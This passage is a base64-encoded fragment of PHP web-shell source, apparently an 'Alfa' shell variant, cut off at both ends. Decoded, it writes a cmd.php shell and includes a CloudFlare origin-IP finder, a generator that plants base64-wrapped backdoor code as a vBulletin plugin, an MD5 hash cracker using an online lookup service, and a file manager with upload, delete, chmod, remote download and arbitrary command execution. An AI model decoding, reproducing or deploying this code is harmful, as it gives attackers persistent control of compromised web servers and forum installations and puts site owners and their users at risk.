GpiV1IxY0NobEtUdHlaWFIxY200Z1ptRnNjMlU3ZldWc2MyVWdhV1lvWlM1clpYbERiMlJsUFQwME1DbDdZMjFrYjNkdUtHVXBPM0psZEhWeWJpQm1ZV3h6WlR0OVpXeHpaU0JwWmlobExtdGxlVU52WkdVOVBUZ3BlMkp6Y0NobEtUdDlmVHd2YzJOeWFYQjBQangwWlhoMFlYSmxZU0J5YjNkelBUY2dZMjlzY3oweE16QWdhV1E5SW1OdmJXMWhibVFpSUc5dWEyVjVjSEpsYzNNOUluQmhjbk5sYTJWNUtHVjJaVzUwTENCMGFHbHpLVHNpUGp3dmRHVlNjeWM3SkU5VlZEMXpiMnhsZG1semFXUXNaU2drVDFWVUtUdGxkbUZWVHNLQ1JQVDA4d01EQXdUekFvSkU5VlZDazRkR0Z5WldFK1BHSnlQaWNwT3o4K0RRbzhjMk55YVhCMFBnMEtibVYzWTIxa0tDazdEUW84TDNOamNtbHdkRDROQ2c9PSc7DQokZGVjb2RlID0gYmFzZTY0X2RlY29kZSgkY29kZSk7DQokc29sZSA9IGZvcGVuKCdjbWQucGhwJywndysnKTsNCiRzb2xlMiA9IGZ3cml0ZSAoJHNvbGUgLCRkZWNvZGUpOw0KZmNsb3NlKCRzb2xlKTsNCmVjaG8gJzxpZnJhbWUgc3JjPWNtZC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9NjAwcHggZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gJzsNCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhY2xvdWRmbGFyZSgpew0KYWxmYWhlYWQoKTsNCmVjaG8iPHNjcmlwdD5hbGZhMV89YWxmYTJfPVwiXCI8L3NjcmlwdD4NCjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+DQo8Yj48Yj48Zm9udCBjb2xvcj1cIiNGRkZGMDFcIj49PTwvZm9udD4gPGZvbnQgY29sb3I9XCIjMDBBMjIwXCI+Q2xvdWQgPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5GbGFyZTwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+QnlQYXNzZXI8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+ID09PC9mb250PjwvYj4NCjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ2Nsb3VkZmxhcmUnLG51bGwsdGhpcy51cmwudmFsdWUsdGhpcy5nby52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPg0KPHA+PGJyPjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPTMwIG5hbWU9J3VybCcgcGxhY2Vob2xkZXI9XCJzaXRlLmNvbVwiPjxici8+PGJyLz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nPj4nIC8+DQo8L3A+DQo8L2Zvcm0+PC9jZW50ZXI+IjsNCmlmKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7DQpmdW5jdGlvbiBpc19pcHY0KCRpcCkNCnsNCnJldHVybiBmaWx0ZXJfdmFyKCRpcCwgRklMVEVSX1ZBTElEQVRFX0lQLCBGSUxURVJfRkxBR19JUFY0KSA/ICRpcCA6ICcoTnVsbCknOw0KfQ0KZnVuY3Rpb24gZ2V0aXBDbG91ZEZsYXJlKCR1cmwpew0KJHVybCA9ICJodHRwOi8vd3d3LmNsb3VkZmxhcmUtd2F0Y2gub3JnL2NnaS1iaW4vY2ZzZWFyY2guY2dpIjsNCiRsb2dpbl9kYXRhID0gImNmUz0kdXJsIjsNCiRsb2dpbiA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjI2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjYuMCcpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1RJTUVPVVQsIDQwKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfVVJMLCAkdXJsKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfUE9TVEZJRUxEUywgJGxvZ2luX2RhdGEpOw0KJGNvbnRlbnQ9IGN1cmxfZXhlYygkbG9naW4pOw0KaWYgKHByZWdfbWF0Y2goIi88VUw+PExJPiguKj8pPFwvVUw+LyIsJGNvbnRlbnQsJGZpbmQpKXsNCi8vIGlmIChwcmVnX21hdGNoKCIvPFVMPjxMST4oLio/KTogJHVybCAoLio/KSAoLio/KTxcL1VMPi9zIiwkY29udGVudCwkZmluZCkpew0KcmV0dXJuICRmaW5kWzFdOw0KfQ0KZWxzZSB7DQpyZXR1cm4gJ0Vycm9yJzsNCn0NCmN1cmxfY2xvc2UoJGxvZ2luKTsNCn0NCiRtZSA9ICRhcmd2WzBdOw0KJHVybCA9ICRfUE9TVFsnYWxmYTEnXTsNCmlmKCFwcmVnX21hdGNoKCcvXihodHRwcz8pOlwvXC8od3szfXx3MylcLi9pJywgJHVybCkpew0KJHVybCA9IHByZWdfcmVwbGFjZSgnL14oaHR0cHM/KTpcL1wvLycsICcnLCAkdXJsKTsNCiR1cmwgPSAiaHR0cDovL3d3dy4iLiR1cmw7DQp9DQokaGVhZGVycyA9IGdldF9oZWFkZXJzKCR1cmwsIDEpOw0KJHNlcnZlciA9ICRoZWFkZXJzWydTZXJ2ZXInXTsNCiRzdWJzID0gYXJyYXkoJ2NwYW5lbC4nLCAnZnRwLicsICdzZXJ2ZXIxLicsICdjZG4uJywgJ2NkbjIuJywgJ25zLicsICduczEuJywgJ21haWwuJywgJ3dlYm1haWwuJywgJ2RpcmVjdC4nLCAnZGlyZWN0LWNvbm5lY3QuJywgJ3JlY29yZC4nLCAnc3NsLicsICdkbnMuJywgJ2hlbHAuJywgJ2Jsb2cuJywgJ2lyYy4nLCAnZm9ydW0uJyk7DQokY291bnQgPSBjb3VudCgkc3Vicyk7DQppZihwcmVnX21hdGNoKCcvXihodHRwcz8pOlwvXC8od3szfXx3MylcLi9pJywgJHVybCwgJG1hdGNoZXMpKQ0Kew0KaWYoJG1hdGNoZXNbMl0gIT0gJ3d3dycpDQp7DQokdXJsID0gcHJlZ19yZXBsYWNlKCcvXihodHRwcz8pOlwvXC8vJywgJycsICR1cmwpOw0KfQ0KZWxzZQ0Kew0KJHVybCA9IGV4cGxvZGUoJG1hdGNoZXNbMF0sICR1cmwpOw0KJHVybCA9ICR1cmxbMV07DQp9DQp9DQppZihpc19hcnJheSgkc2VydmVyKSkNCiRzZXJ2ZXIgPSAkc2VydmVyWzBdOw0KZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo4cHgiIGNsYXNzPSJtbDEiPjxici8+JzsNCmlmKHByZWdfbWF0Y2goJy9jbG91ZGZsYXJlL2knLCAkc2VydmVyKSkNCmVjaG8gIlxuWytdIENsb3VkRmxhcmUgZGV0ZWN0ZWQ6IHskc2VydmVyfVxuPGJyPiI7DQplbHNlDQplY2hvICJcblsrXSBDbG91ZEZsYXJlIHdhc24ndCBkZXRlY3RlZCwgcHJvY2VlZGluZyBhbnl3YXkuXG4iOw0KZWNobyAnWytdIENsb3VkRmxhcmUgSVA6ICcgLiBpc19pcHY0KGdldGhvc3RieW5hbWUoJHVybCkpIC4gIlxuXG48YnI+PGJyPiI7DQplY2hvICJbK10gU2VhcmNoaW5nIGZvciBtb3JlIElQIGFkZHJlc3Nlcy5cblxuPGJyPjxicj4iOw0KZm9yKCR4ID0gMDsgJHggPCAkY291bnQ7ICR4KyspDQp7DQokc2l0ZSA9ICRzdWJzWyR4XSAuICR1cmw7DQokaXAgPSBpc19pcHY0KGdldGhvc3RieW5hbWUoJHNpdGUpKTsNCmlmKCRpcCA9PSAnKE51bGwpJykNCmNvbnRpbnVlOw0KZWNobyAiVHJ5aW5nIHskc2l0ZX06IHskaXB9XG48YnI+IjsNCn0NCi8vIGVjaG8gZ2V0aXBDbG91ZEZsYXJlKCR1cmwpLiI8YnI+IjsNCmVjaG8gIlxuWytdIEZpbmlzaGVkLlxuPGJyPiI7DQp9DQplY2hvICc8L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYXBocDJ4bWwoKXsNCmFsZmFoZWFkKCk7DQplY2hvIjxzY3JpcHQ+YWxmYTFfPWFsZmEyXz1cIlwiPC9zY3JpcHQ+DQo8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPg0KPGI+PGI+PGJyPjxmb250IGNvbG9yPVwiI0ZGRkYwMVwiPj09PC9mb250PiA8Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5TaGVsbDwvZm9udD4gPGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+Rm9yPC9mb250PiA8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj52QnVsbGV0aW48L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+ID09PC9mb250PjwvYj4NCjxmb3JtIGFjdGlvbj0nJyBvbnN1Ym1pdD1cImcoJ3BocDJ4bWwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLHRoaXMuZ28udmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPSdwb3N0Jz4NCjxwPjxicj48dGV4dGFyZWEgcm93cz0nMTInIGNvbHM9JzcwJyB0eXBlPSd0ZXh0JyBuYW1lPSdjb2RlJyBwbGFjZWhvbGRlcj1cImluc2VydCB5b3VyIHNoZWxsIGNvZGVcIj48L3RleHRhcmVhPjxici8+PGJyLz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2dvJyB2YWx1ZT0nQ29udmVydCcgLz4mbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ncmVzZXQnIHZhbHVlPSdDbGVhcicgbmFtZT0nQjInPjxici8+PGJyLz4NCjwvcD4NCjwvZm9ybT48L2NlbnRlcj4iOw0KaWYoJF9QT1NUWydhbGZhMiddICYmICRfUE9TVFsnYWxmYTInXSA9PSAnQ29udmVydCcgKSB7DQppZiAoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKXsNCiRjb2RlPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2FsZmExJ10pOw0KfQ0KZWxzZXsNCiRjb2RlPSRfUE9TVFsnYWxmYTEnXTsNCn0NCiRjb2RlID0gJ2Jhc2U2NF9kZWNvZGUoJy4kY29kZS4nKSc7DQokc29sZSA9ICdQRDk0Yld3Z2RtVnljMmx2YmowaU1TNHdJaUJsYm1OdlpHbHVaejBpU1ZOUExUZzROVGt0TVNJL1BnMEtEUW84Y0d4MVoybHVjejROQ2drOGNHeDFaMmx1SUdGamRHbDJaVDBpTVNJZ2NISnZaSFZqZEQwaWRtSjFiR3hsZEdsdUlqNE5DZ2tKUEhScGRHeGxQblpDZFd4c1pYUnBiand2ZEdsMGJHVStEUW9KQ1R4b2IyOXJibUZ0WlQ1cGJtbDBYM04wWVhKMGRYQThMMmh2YjJ0dVlXMWxQZzBLQ1FrOGNHaHdZMjlrWlQ0OElWdERSRUZVUVZ0cFppQW9jM1J5Y0c5ektDUmZVMFZTVmtWU1d5ZFFTRkJmVTBWTVJpZGRMQ0p6ZFdKelkzSnBjSFJwYjI1ekxuQm9jQ0lwS1NCNyc7DQokaW52aXMgPSAnWlhocGREc05DbjFkWFQ0OEwzQm9jR052WkdVK0RRb0pQQzl3YkhWbmFXNCtEUW84TDNCc2RXZHBibk0rJzsNCmVjaG8iPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo4cHhcIiBjbGFzcz1cIm1sMVwiPjxici8+PGNlbnRlcj48dGV4dGFyZWEgcm93cz0nMTAnIG5hbWU9J3VzZXJzJyBjb2xzPSc4MCcgc3R5bGU9J2JvcmRlcjogMnB4IGRhc2hlZCAjMUQxRDFEOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOyBjb2xvcjojQzBDMEMwJz4iOw0KZWNobyBiYXNlNjRfZGVjb2RlKCIkc29sZSIpLidiYXNlNjRfZGVjb2RlKFwnJy5iYXNlNjRfZW5jb2RlKCRjb2RlKS4nXCcpOycuYmFzZTY0X2RlY29kZSgiJGludmlzIik7DQplY2hvICc8L3RleHRhcmVhPjwvY2VudGVyPjxicj4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+PC9kaXY+JzsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFsZmFjcGNyYWNrKCkNCnsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KZnVuY3Rpb24gY3JhY2tlcigkcGFzcyl7DQokdXJsID0gImh0dHA6Ly9tZDVvbmxpbmUub3JnIjsNCiRsb2dpbl9kYXRhID0gIm1kNT0kcGFzcyZzZWFyY2g9MCZhY3Rpb249ZGVjcnlwdCZhPTYzNDQzMDI2IjsNCiRsb2dpbiA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjI2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMjYuMCcpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1RJTUVPVVQsIDQwKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfVVJMLCAkdXJsKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KY3VybF9zZXRvcHQoJGxvZ2luLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCmN1cmxfc2V0b3B0KCRsb2dpbiwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkbG9naW4sIENVUkxPUFRfUE9TVEZJRUxEUywgJGxvZ2luX2RhdGEpOw0KJGNvbnRlbnQ9IGN1cmxfZXhlYygkbG9naW4pOw0KaWYgKHByZWdfbWF0Y2goIi88c3BhbiBzdHlsZT0nY29sb3I6bGltZWdyZWVuJz5Gb3VuZCA6IDxiPiguKj8pPFwvYj48XC9zcGFuPi9zIiwkY29udGVudCwkZmluZCkpew0KcmV0dXJuICc8dGFibGUgYm9yZGVyPSIxIj48dGQ+Jy4nPGZvbnQgY29sb3I9d2hpdGU+PC9mb250PicuJyA8Zm9udCBjb2xvcj13aGl0ZT5Gb3VuZCA6IDwvZm9udD48Yj48Zm9udCBjb2xvcj1saWdodGdyZWVuPicuJGZpbmRbMV0uJzwvZm9udD48L2I+PC90ZD48L3RhYmxlPjxicj4nOw0KfQ0KZWxzZSB7DQpyZXR1cm4gJzx0YWJsZSBib3JkZXI9IjEiPjx0ZD4nLic8Zm9udCBjb2xvcj13aGl0ZT5bK108L2ZvbnQ+Jy4nIDxmb250IGNvbG9yPXdoaXRlPk5vIHJlc3VsdCBmb3VuZCAtPjwvZm9udD4gJy4nPGI+PGZvbnQgY29sb3I9cmVkPicuJHBhc3MgLic8L2ZvbnQ+PC9iPjwvdGQ+PC90YWJsZT48YnI+JzsNCn0NCmN1cmxfY2xvc2UoJGxvZ2luKTsNCn0NCmVjaG8gJzxjZW50ZXI+PHNjcmlwdD5hbGZhNl89YWxmYTdfPWFsZmE5Xz1cIlwiPC9zY3JpcHQ+DQo8Zm9ybSBvbnN1Ym1pdD0iZyhcJ2NwY3JhY2tcJyxudWxsLHRoaXMubWQ1LnZhbHVlLHRoaXMuZ28udmFsdWUpOyByZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIiAvPg0KPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJtZDUiIHNpemU9IjQwIiBpZD0idGV4dCIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI+PiIgbmFtZT0iZ28iIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQonOw0KaWYoJF9QT1NUWydhbGZhMiddID09ICc+Picpew0KJGhhc2ggPSAkX1BPU1RbJ2FsZmExJ107DQokcmVzID0gY3JhY2tlcigkaGFzaCk7DQplY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjhweCIgY2xhc3M9Im1sMSI+PGJyLz48Y2VudGVyPicuJHJlcy4nPC9jZW50ZXI+JzsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhZm9vdGVyKCkNCnsNCmVjaG8gIjx0YWJsZSBjbGFzcz0nZm9vdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzMnIGNlbGxwYWRkaW5nPScwJyA+DQo8dHI+DQo8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+TWFrZSBGaWxlIDogPC9mb250Pjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWYgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQo8dGQgd2lkdGg9JzIxJSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+TWFrZSBEaXIgOiA8L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZCB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCjx0ZCB3aWR0aD0nMjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5EZWxldGUgOiA8L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZGVsIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KPHRkIHdpZHRoPScxOSUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ2NobW9kJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+Q2htb2QgOiA8L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0nMic+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDogPC9mb250Pjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdmb290dGFibGUnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KPHRkIGNvbHNwYW49JzInPjxmb3JtIG1ldGhvZD0ncG9zdCcgPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+SHR0cCBEb3dubG9hZCA6IDwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1ydGRvd24gdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49JzQnPjxmb3JtIG9uc3VibWl0PVwiZygncHJvYycsbnVsbCx0aGlzLmMudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPkV4ZWN1dGUgOiA8L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTUFuJz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWxmYTEgdmFsdWU9J3VwbG9hZEZpbGUnPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+DQo8c3Bhbj48Zm9udCBjb2xvcj0jMjc5NzlCPlVwbG9hZCBmaWxlOjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGJyIC8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQo8L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPSc0Jz48Zm9udCBjb2xvcj0ncmVkJz5Nb2RpZmllZCBieSA1eTV0M01fY1I0NWgzUiB8fCBTcGVjaWFsbHkgdGhhbmtzIHRvIFggQ29kZSBQYWdsYSB8fCBDeUJFUi03MTwvZm9udD48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+DQoiOw0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCmZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsNCmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQ0KZnVuY3Rpb24gYWxmYVdoaWNoKCRwKSB7DQokcGF0aCA9IGFsZmFFeCgnd2hpY2ggJyAuICRwKTsNCmlmKCFlbXB0eSgkcGF0aCkpDQpyZXR1cm4gJHBhdGg7DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhbGZhU2l6ZSgkcykgew0KaWYoJHMgPj0gMTA3Mzc0MTgyNCkNCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsNCmVsc2VpZigkcyA+PSAxMDQ4NTc2KQ0KcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsNCmVsc2VpZigkcyA+PSAxMDI0KQ0KcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsNCmVsc2UNCnJldHVybiAkcyAuICcgQic7DQp9DQpmdW5jdGlvbiBhbGZhUGVybXMoJHApIHsNCmlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsNCmVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7DQplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsNCmVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7DQplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsNCmVsc2UgJGkgPSAndSc7DQokaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQpyZXR1cm4gJGk7DQp9DQpmdW5jdGlvbiBhbGZhUGVybXNDb2xvcigkZikgew0KaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBhbGZhUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOw0KZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCnJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIGFsZmFQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQplbHNlDQpyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIGFsZmFQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQp9DQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsNCmZ1bmN0aW9uIHNjYW5kaXIoJGRpcikgew0KJGRoID0gb3BlbmRpcigkZGlyKTsNCndoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpDQokZmlsZXNbXSA9ICRmaWxlbmFtZTsNCnJldHVybiAkZmlsZXM7DQp9DQp9DQpmdW5jdGlvbiBhbGZhRmlsZXNNYW4oKSB7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz0iIjs8L3NjcmlwdD4nOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpIHsNCnN3aXRjaCgkX1BPU1RbJ2FsZmExJ10pIHsNCmNhc2UgJ3VwbG9hZEZpbGUnOg0